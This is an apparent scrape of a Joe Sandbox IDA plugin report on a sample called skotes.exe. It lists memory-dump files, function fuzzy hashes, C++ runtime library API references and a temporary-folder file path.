Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: L/ds
API String ID: 809856575-185251681
Opcode ID: 7057096e2b6359d0c239c2b4f253d6bf25e371e7a4feea538942f38bcd3b67f7
Instruction ID: 2e77d8acb4f3008f4f12c70aaf995e919dd2a56220832cc7eced9cc09ad9229f
Opcode Fuzzy Hash: 7057096e2b6359d0c239c2b4f253d6bf25e371e7a4feea538942f38bcd3b67f7
Instruction Fuzzy Hash: AC318FB190021BABDB219F65DC51EFF7BAAEF85310F054129FD14AB152DB348951CBA0

Function 00049A80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00049B1A
Concurrency::cancel_current_task.LIBCPMT ref: 00049B60

Strings

L/ds, xrefs: 00049A94

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_taskMtx_unlock
String ID: L/ds
API String ID: 1170726187-185251681
Opcode ID: 4900caa7a2831278e61e1f07c7ea2f4fb0d6945f952b75104758ca6535a4a973
Instruction ID: b4df18de1ef1233793c0c815cf5ebaf0331dd144f456a3a48bf23266ac9e0b53
Opcode Fuzzy Hash: 4900caa7a2831278e61e1f07c7ea2f4fb0d6945f952b75104758ca6535a4a973
Instruction Fuzzy Hash: 4731D1B0D04249AFEF10DBA4D945FAFBBF8EF05704F10417AE406A7282D775A904C7A9

Function 0006DFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0006DFE8

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: 10e6a1ced994479fc6581276cccd7b06e42c2b55b4d0127f1cec666ad12cd411
Instruction ID: eca002d7b70a46b4d74d164726afa82a24ba42341c9c6e731faa917470ef16b6
Opcode Fuzzy Hash: 10e6a1ced994479fc6581276cccd7b06e42c2b55b4d0127f1cec666ad12cd411
Instruction Fuzzy Hash: BD2195756143497FAB70AF69DC80EAB779FEF003687104525F91996153EBA0ED808660

Function 00033380 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

__Cnd_broadcast.LIBCPMT ref: 000333CB
__Mtx_unlock.LIBCPMT ref: 000333DF

Strings

L/ds, xrefs: 00033393

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_broadcastMtx_unlock
String ID: L/ds
API String ID: 3773178532-185251681
Opcode ID: ab695ae4575d50ba167e61d1aaab84def5afda0e064a1c73c32cd2ebcfd0e04b
Instruction ID: 814cccd1ca2f2309aa828bf5e32f0778b29dcbd3e25d1b4bb655beb54be76b08
Opcode Fuzzy Hash: ab695ae4575d50ba167e61d1aaab84def5afda0e064a1c73c32cd2ebcfd0e04b
Instruction Fuzzy Hash: 451136B6B05600EBE7229B59D905F8AB3ECEF55730F00817AE905D3642E774EE0587E0

Function 0004B5D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0004B65E

Strings

L/ds, xrefs: 0004B5DC
csm, xrefs: 0004B612

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16
String ID: L/ds$csm
API String ID: 1700504859-2622233379
Opcode ID: 65995a1bd2a3ac4357c467463f3c214b96703e10a4653495fb48330f3ce90a2f
Instruction ID: d55327840030ac78f28aba08b2f762436e077561f052832f1feb1783352c2ea5
Opcode Fuzzy Hash: 65995a1bd2a3ac4357c467463f3c214b96703e10a4653495fb48330f3ce90a2f
Instruction Fuzzy Hash: 6921A9B1D01218ABCF24DF99C845AEEB7F9EF40710F164429E809BB251CB38EE45CB95

Function 00061704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00061764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 000617AF

Strings

pContext, xrefs: 000617A7

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
